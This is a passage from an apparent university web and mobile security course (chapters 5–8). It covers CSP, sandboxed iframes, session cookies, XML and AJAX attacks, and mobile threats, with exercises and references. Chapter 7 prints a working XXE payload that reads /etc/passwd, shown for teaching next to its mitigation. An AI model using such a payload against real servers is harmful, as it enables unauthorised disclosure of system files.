- `frame-ancestors 'none'` : the page cannot be embedded in an iframe from any other site (protection against clickjacking, chapter 3).

To go further than a simple list of allowed domains (often too broad in practice), CSP can use ***nonces*** (a unique random value generated on every page load, attached to each legitimate `<script>` tag) or **hashes** (a hash of a legitimate script's exact content): only scripts carrying the correct nonce or hash execute, which effectively blocks any injected script, even one hosted on the same domain.

A **"report-only" mode** (`Content-Security-Policy-Report-Only`) allows a policy to be deployed in observation mode, blocking nothing, while receiving a report of the violations that *would have* been blocked – a recommended step before enabling a strict policy in production, to avoid breaking unanticipated legitimate features.

CSP – defense in depth

CSP remains a *complementary* mechanism: it mitigates the consequences of a successful injection, but does not replace input validation and output encoding (chapter 3). An overly permissive policy (for example `script-src 'unsafe-inline'`, which allows any inline script) loses most of its value against XSS.

5.3 Frame isolation (Sandboxed iframes)

The `sandbox` attribute of an `iframe` element confines the loaded content to a tightly restricted environment. By default, as soon as this attribute is present (even empty), the browser disables:

- script execution inside the frame;
- form submission;
- top-level navigation (the frame cannot redirect the parent window);
- access to the parent origin, even if the two documents otherwise share the same origin.

Capabilities are then re-granted **selectively**, one at a time, through explicit tokens: `allow-scripts`, `allow-forms`, `allow-same-origin`, `allow-popups`, etc.

Safely embedding a third-party widget

```
<iframe src="https://third-party-widget.dz/map"
        sandbox="allow-scripts allow-same-origin">
</iframe>
```

The widget can run JavaScript and access its own cookies, but cannot submit a form or redirect the main page – a typical combination for embedding semi-trusted third-party content (an interactive map, a video player) without giving it full control over the host page.

This mechanism is essential for embedding third-party content (ads, widgets, user-generated content displayed in a separate frame) while strongly limiting the possible damage from malicious content – a **least privilege** principle applied at the document level itself.

Key takeaways

- Web workers run code in the background, isolated from the DOM; service workers, more powerful (network proxy, offline operation), require HTTPS.
- CSP tells the browser which sources are allowed per resource type and mitigates mainly XSS – it complements but does not replace the base defenses of chapter 3.
- Nonces and hashes allow a strict CSP even for scripts hosted on the same domain.
- The `sandbox` attribute of iframes confines third-party content by default; capabilities are re-granted explicitly, one at a time.

Questions and exercises

1. What is the difference between a Web worker and a service worker? Why does the latter require HTTPS?
2. Write a CSP directive that allows only same-origin scripts and blocks the page from being embedded in an external iframe.
3. Name three restrictions imposed by default on a sandboxed iframe, and explain how to safely re-grant just one of them.
4. Why is CSP described as a "defense in depth" rather than a single solution against XSS? Relate your answer to the protection techniques covered in chapter 3.
5. A developer sets `script-src 'unsafe-inline'` to avoid having to refactor their code. What is the impact of this choice on CSP's effectiveness against XSS?

Chapter sources: official module syllabus (UEF322, chapter 5); standard technical specifications – Content Security Policy (W3C) and MDN Web Docs on Web workers, service workers, and the iframe `sandbox` *attribute.*

Chapter 6

Session Tracking and Authentication

Chapter objectives

Know how a site is authenticated, understand the state management mechanisms between client and server, and master cookie security and session integrity.

6.1 How a website is authenticated

A site's authentication relies on its TLS certificate (chapter 4): when the browser establishes the connection, it checks that the presented certificate is valid, not expired, issued for the exact domain being visited, and signed by a trusted certificate authority. The secure connection indicator (the padlock in the address bar) only reflects the success of *these* checks – it guarantees that you are indeed talking to the server associated with the displayed domain name, and that the communication is encrypted, but it says nothing about the legitimacy of the site's content itself (a perfectly imitated phishing site can very well display a valid padlock on its own domain).

Symmetrically, it is the server that must authenticate the *user*, through credentials (login/password), possibly strengthened by multi-factor authentication (MFA) – a second factor (temporary code, physical key) that greatly limits the impact of a stolen password, notably against the phishing attacks seen in chapter 1.

6.2 Secure mechanism for tracking state between client and server

HTTP is, by design, a **stateless** protocol: each request is processed independently of previous ones, the server "remembers" nothing between two consecutive requests. This design choice, made in the 1990s to simplify and scale the Web, raises an immediate practical problem: how does a site recognize that a request comes from the same user, already logged in, as the previous request?

The answer is the **session**: a unique identifier, generated by the server upon login, sent by the client with every subsequent request, allowing the server to retrieve the associated context (logged-in user, shopping cart, preferences). This identifier can be carried by two different mechanisms:

- a **session cookie**, sent automatically by the browser with every request to the relevant domain (see next section);
- an explicit **token** (for example a **JWT**, *JSON Web Token*), which the client must attach itself, typically in an `Authorization` header – common for APIs consumed by mobile applications (chapter 8).

Secure session

A secure session mechanism requires: an unpredictable identifier with high entropy (impossible to guess by brute force); systematically encrypted transmission (never over plain HTTP); a limited lifetime; **regeneration** of the identifier immediately after authentication (to invalidate any identifier obtained before login, see "session fixation" below); and effective server-side invalidation on logout, not just deletion on the client side.

6.3 Cookies and session integrity

Cookies store small amounts of information client-side, typically including the session identifier. Their security depends closely on the attributes set by the server when they are created:

Secure `Set-Cookie` header

```
Set-Cookie: session_id=8f3a...c21; Secure; HttpOnly;
            SameSite=Strict; Max-Age=3600; Path=/
```

- **Secure** : the cookie is only transmitted over HTTPS – without this attribute, the same cookie could leak in plain text if the user ever accesses the site over HTTP.
- **HttpOnly** : the cookie is completely inaccessible from `document.cookie` in JavaScript. This is a direct protection against session theft via XSS (chapter 3): even if a malicious script runs on the page, it cannot read this cookie to exfiltrate it.
- **SameSite** : restricts automatic sending of the cookie when a request is triggered from another site. In `Strict` mode, the cookie is never sent in a cross-site context; in `Lax` mode (the default in recent browsers), it is sent only for certain top-level navigations (clicking a link) but not for background-triggered requests. This is the most direct defense against the CSRF seen in chapter 3.
- **Domain / Path / Expiration** : respectively delimit the domain(s) concerned, the application path concerned, and the cookie's validity period.

Session integrity is threatened by two distinct attack families, which are often confused:

- **session hijacking** : the attacker steals an already-valid session identifier (via XSS, unencrypted network interception, or malware) and uses it to impersonate the victim's session without ever knowing their password;
- **session fixation** : the attacker *beforehand* imposes on the victim a session identifier they already know (for example via a crafted link containing the identifier in the URL), then waits for the victim to authenticate using this identifier – if the server does not regenerate the identifier after login, the attacker can then use that same identifier, now tied to an authenticated account.

The best practices that follow directly from these two threats: robust and unpredictable session identifiers, systematic `Secure`/`HttpOnly`/`SameSite` attributes, regeneration of the identifier after authentication (against fixation), and genuinely effective expiration/logout on the server side (against prolonged hijacking).

Key takeaways

- A site is authenticated by its TLS certificate; the padlock reflects successful technical checks, not the legitimacy of the displayed content.
- Since HTTP is stateless by design, the session is the mechanism that recreates continuity between requests, via an unpredictable and protected cookie or token.
- The `Secure`, `HttpOnly`, and `SameSite` attributes each directly address a specific threat: plaintext leakage, theft via XSS, and CSRF.
- Session hijacking (theft of a valid identifier) and session fixation (imposing an identifier beforehand) are the two main threats to session integrity, and call for different countermeasures.

Questions and exercises

1. Explain the respective roles of the `Secure`, `HttpOnly`, and `SameSite` attributes, matching each to the specific threat it neutralizes.
2. Since HTTP is stateless, how does a server recognize a user who is already logged in on each new request?
3. Precisely differentiate session hijacking from session fixation, with an attack scenario for each.
4. Why must the session identifier be regenerated immediately after authentication, and not only when the session is created?
5. A session token is transmitted in the URL (`?session=abc123`) rather than in a cookie. What additional risks does this introduce (think about server logs and browser history)?

Chapter sources: official module syllabus (UEF322, chapter 6); discussion of cookie security attributes (`Secure`/`HttpOnly`/`SameSite`) and their interactions informed by M. Zalewski, The Tangled Web (2011), the module's reference book (see bibliography).

Chapter 7

XML and Web Services Security

Chapter objectives

Recall Web services and the role of XML, understand vulnerabilities specific to XML, introduce AJAX technology, and know the associated attacks as well as their defenses.

7.1 Recap on Web services

A Web service allows applications to communicate over the network using standard protocols, regardless of the language or platform used on each side. Two major families coexist today, with very different philosophies:

- **SOAP** services (*Simple Object Access Protocol*) : XML messages structured in a strict format, whose interface is formally described by a **WSDL** contract (*Web Services Description Language*) – a verbose but strongly typed approach, still common in enterprise and banking systems;
- **REST** APIs (*Representational State Transfer*) : lighter, relying directly on HTTP verbs (GET, POST, PUT, DELETE) and most often exchanging data as JSON rather than XML – now the de facto standard for modern Web APIs.

These interfaces directly expose server-side functionality – reading or modifying data, triggering business actions – and therefore constitute a **full-fledged attack surface**, potentially as critical as the Web interface itself, but often less audited because it is less visible than an HTML page.

7.2 XML security

Processing XML documents introduces specific risks, tied to the very richness of the format (which allows internal references, dynamically defined document types, etc.):

- **XML injection** : inserting tags or content that hijacks how the parser interprets the document, similarly to SQL injection (chapter 3) but applied to the XML structure itself.
- **XXE** (*XML External Entity*) : exploiting external entities, a legitimate XML feature that lets a document reference content located elsewhere.
- **XML bomb** (*billion laughs*) : exponential expansion of nested internal entities, exhausting the server's memory (denial of service).

XXE attack

An XXE attack exploits an XML parser configured to automatically resolve external entities declared in a document's *Document Type Definition* (DTD). By defining an entity that points to a local file on the server or an internal URL, the attacker can make the server itself read sensitive content (a configuration file, a secret) or probe internal services that are normally inaccessible from the outside – an attack logic close to SSRF (chapter 3, OWASP risk A10).

Typical XXE payload

```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY leak SYSTEM "file:///etc/passwd">
]>
<data>
  <user>&leak;</user>
</data>
```

If the parser resolves this external entity, the contents of the system file are inserted into the document and potentially returned to the client in the application's response – an information leak obtained without ever exploiting a "classic" application flaw.

The **WS-Security** mechanisms provide, for SOAP-type services, authentication, integrity, and confidentiality directly at the XML message level (signing and encrypting all or part of the document), independent of the transport used. But the most effective and simplest defense against XXE and XML bombs remains preventive: **disabling the resolution of external entities** in the XML parser's configuration (an option available in every modern XML library) and strictly validating the structure of received documents against an expected schema.

7.3 Introducing AJAX technology

AJAX (*Asynchronous JavaScript and XML*, despite its name dating from an era when XML dominated these exchanges) refers to a set of techniques that let an already-loaded page exchange data with the server **asynchronously**, without reloading the entire page – using the legacy `XMLHttpRequest` API or the more recent `fetch` API. The data exchanged today is overwhelmingly in **JSON** format, lighter and more natural to handle in JavaScript than the original XML.

AJAX has profoundly changed the Web experience (partial loading, "single-page" applications), but it also multiplies client-side data entry points: every AJAX call is a full network request, subject to the same Same-Origin Policy and the same CORS rules as a regular navigation (chapter 2).

7.4 Attacks against AJAX and defense mechanisms

Attacks targeting AJAX exchanges often combine mechanisms already seen in other chapters, applied to this particular context:

- **XSS via AJAX responses** : data returned by an API and inserted without encoding into the DOM (chapter 3) triggers script execution, exactly like a classic XSS, except the source of the malicious content here is an API response rather than a form field.
- **CSRF on AJAX endpoints** : a forged request against an API authenticated by cookie, exactly following the CSRF mechanism seen in chapter 3 – a REST API is not inherently protected from CSRF simply because it "is not an HTML page".

- **JSON hijacking and data leakage** : a poorly protected API that responds differently depending on whether the request is authenticated or not can, in certain contexts, leak information to a third-party site.
- **Overly permissive CORS configuration** : an `Access-Control-Allow-Origin: *` header mistakenly attached to an API that returns authenticated user data lets any site read that data directly in JavaScript (see the example in chapter 2).

Defenses rely on the same principles as the rest of the Web application, applied systematically to AJAX endpoints: encoding any data injected into the DOM, anti-CSRF tokens (or the `SameSite` attribute on the session cookie), a **restrictive** CORS policy explicitly controlled server-side (never a wildcard `*` on an authenticated API), and strict validation of both inputs and outputs at every API endpoint.

Key takeaways

- Web services (SOAP/XML, REST/JSON) directly expose server-side functionality and therefore constitute a full-fledged attack surface.
- XXE and XML bombs are the emblematic risks of XML processing; disabling external entity resolution is the simplest and most effective defense.
- AJAX enables asynchronous exchanges, but every call falls under the Same-Origin Policy and depends on a careful CORS configuration (chapter 2).
- Attacks on AJAX (XSS, CSRF, lax CORS) reuse the mechanisms from chapter 3, applied to API endpoints.

Questions and exercises

1. Describe an XXE attack step by step, and its main countermeasure.
2. What is an XML bomb, and which type of threat (among confidentiality/integrity/availability) does it mainly represent?
3. How can an overly permissive CORS configuration be exploited on an API that returns authenticated user data?
4. Name three defenses applicable to AJAX endpoints, each linked to a specific attack from chapter 3.
5. A REST API accepts modification requests (PUT/DELETE) authenticated only by session cookie, with no additional token. Is this API vulnerable to CSRF? Justify and propose a fix.

Chapter sources: official module syllabus (UEF322, chapter 7); standard technical documentation (W3C/WHATWG specifications for XML and Fetch, MDN Web Docs) on XXE, AJAX, and CORS.

Chapter 8

Mobile Security

Chapter objectives

Introduce mobile technologies and their ecosystem, understand the mobile platform security model, identify threats to applications, mobile networks, and privacy, and know the role of encryption as well as best practices.

8.1 Mobile computing technologies

Mobile computing relies on devices equipped with sensors, permanently connected, running applications distributed through stores. The main platforms are Android and iOS; applications can be native, hybrid, or Web-based.

On the network side, communications travel over cellular networks that have evolved from 1G to 4G/LTE and now 5G. The 4G architecture distinguishes the access network (E-UTRAN, eNB base stations) from the core network (EPC), with two security domains depending on location:

- **Access stratum** security (between the device and the eNB);
- **Non-access stratum** security (between the device and the mobility management entity).

This shift toward all-IP, virtualized architectures has broadened the attack surface (Mavoungou *et al.*, 2016).

8.2 Mobile platform security model

Mobile systems isolate each application in a sandbox, enforce a permission model, and require applications distributed through stores to be signed. On Android, permissions are split into "normal" and "dangerous" permissions (access to location, contacts, microphone, camera, etc.), the latter requiring the user's explicit consent.

8.3 Threats to mobile applications and the role of encryption

Mobile applications exhibit recurring weaknesses, particularly critical when they handle sensitive data. A reference study on mobile health (m-health) applications analyzed a large sample of applications through static and dynamic traffic analysis, and revealed alarming figures (Papageorgiou *et al.*, 2018):

- **95.63%** of the analyzed applications present a potential risk to user privacy (32% a medium to high risk);

- **63.6%** of the sample send unencrypted data over the network;
- **80%** of applications transmit the user's health data (only 20% store it locally);
- **55%** of applications transmit the user's password, and **45%** of those use a `GET` request – exposing the password in the URL, server logs, and browser history;
- **50%** of applications transmit data to third parties (advertising/analytics platforms or cloud back-ends).

These weaknesses overlap with classic cryptographic problems:

- Absent or insufficient encryption: sensitive data transmitted or stored in plain text.
- Misuse of cryptography: use of ECB mode, non-random initialization vectors, static keys or salts, obsolete algorithms (DES, RC4, MD5, SHA-1).
- Insecure coding practices: for example using `GET` requests instead of `POST` to transmit sensitive data.
- Excessive permissions: requesting permissions unrelated to the stated function, often tied to advertising libraries used for tracking.

The role of encryption

Encryption protects data **at rest** (device storage) and **in transit** (network communications), and underpins authentication. It still needs to be used correctly – robust algorithms, appropriate modes and parameters, secure key management, and cryptographically secure randomness – otherwise the protection is only apparent.

8.4 Privacy and personal data protection

Beyond security, privacy is a major concern on mobile. The study by Papageorgiou *et al.* (2018) reveals that **10%** of the analyzed health applications had no reference to a privacy policy at all, and that those which did provide one were often invalid or misleading (dead link, untranslated page, etc.) – a problem affecting primarily the least-downloaded applications.

This data – health status, location, contacts, identifiers – is legally sensitive and strictly regulated by frameworks such as the GDPR, whose requirements (consent, transparency, minimization, right to erasure) are often poorly met in practice.

8.5 Threats to mobile networks

Mobile networks are exposed to attacks that can be classified by the security property they target (Mavoungou *et al.*, 2016):

- **Confidentiality** : interception, eavesdropping, identity tracking.
- **Integrity** : message tampering.
- **Availability** : denial of service through flooding or signaling attacks.
- **Authentication** : impersonation of a device or network equipment.

Threat entry points are located at the access network, the core network, and third-party or interconnection networks (roaming, non-3GPP access, WLAN). These include spoofing, man-in-the-middle (MITM) attacks, eavesdropping, jamming, and flooding or signaling attacks.

8.6 Security of automatically generated applications

"Citizen" development and Online Application Generators (OAGs) allow applications to be produced quickly with no security expertise. A large-scale study of the Google Play Store showed that such applications make up a significant share of the store, and above all that the generator's weaknesses – misuse of cryptography, poor handling of permissions or data – **automatically propagate to every application it produces** (Oltrogge *et al.*, 2018).

Amplification effect

Because a single OAG platform generates thousands of applications from the same underlying code, one vulnerability in the generator can end up multiplied at scale across the store, far beyond what an individual developer could cause alone.

Vigilance and security review therefore remain necessary even for these applications, including when their developer did not write the generated code themselves.

8.7 Mobile countermeasures and best practices

- Encrypt sensitive data at rest and in transit using state-of-the-art algorithms and parameters.
- Apply the principle of least privilege to permissions and request only what is strictly necessary.
- Secure communications (properly configured TLS, certificate validation – see chapter 4).
- Provide a valid privacy policy and limit data sharing with third parties.
- Distribute through official stores, sign applications, and keep components up to date.
- Audit the code, including automatically generated code, before deployment.

Key takeaways

- Mobile platforms isolate applications (sandbox), enforce permissions, and require application signing.
- Mobile applications often suffer from absent or poorly implemented encryption (ECB, fixed IVs, obsolete algorithms): in the m-health sector, 63.6% of applications send unencrypted data.
- Privacy is frequently threatened by undisclosed data sharing and invalid privacy policies (a GDPR concern).
- Mobile networks face confidentiality, integrity, availability, and authentication attacks across several entry points.
- Automatic application generators can propagate a single vulnerability to thousands of applications.
- Properly used encryption protects data at rest and in transit, and underpins authentication.

Questions and exercises

1. Describe Android's permission model and the distinction between normal and dangerous permissions.
2. Give three examples of cryptography misuse in mobile applications.
3. Classify four attacks on mobile networks according to the security property they target.
4. Based on the m-health study's figures, explain why using HTTPS alone is not enough to protect a password sent via a `GET` request.
5. How can application generators propagate vulnerabilities at scale?
6. Explain the role of encryption for data at rest and in transit on a mobile device.

Chapter sources: official module syllabus (UEF322, chapter 8); statistics and study results explicitly cited in the text: S. Mavoungou et al. (2016), A. Papageorgiou et al. (2018), M. Oltrogge et al. (2018) – see the bibliography at the end of the document.

References

1. M. Zalewski, *The Tangled Web: A Guide to Securing Modern Web Applications*, 1st ed., No Starch Press, San Francisco, 2011.

2. M. Oltrogge, E. Derr, C. Stransky, Y. Acar, S. Fahl, C. Rossow, G. Pellegrino, S. Bugiel, M. Backes, "The Rise of the Citizen Developer: Assessing the Security Impact of Online App Generators," *IEEE Symposium on Security and Privacy (S&P)*, 2018, pp. 634–647.

3. A. Papageorgiou, M. Strigkos, E. Politou, E. Alepis, A. Solanas, C. Patsakis, "Security and Privacy Analysis of Mobile Health Applications: The Alarming State of Practice," *IEEE Access*, vol. 6, 2018.

4. S. Mavoungou, G. Kaddoum, M. Taha, G. Matar, "Survey on Threats and Attacks on Mobile Networks," *IEEE Access*, vol. 4, 2016.

5. OWASP Foundation, "OWASP Top 10" (2021 edition) — reference document on Web application security risks.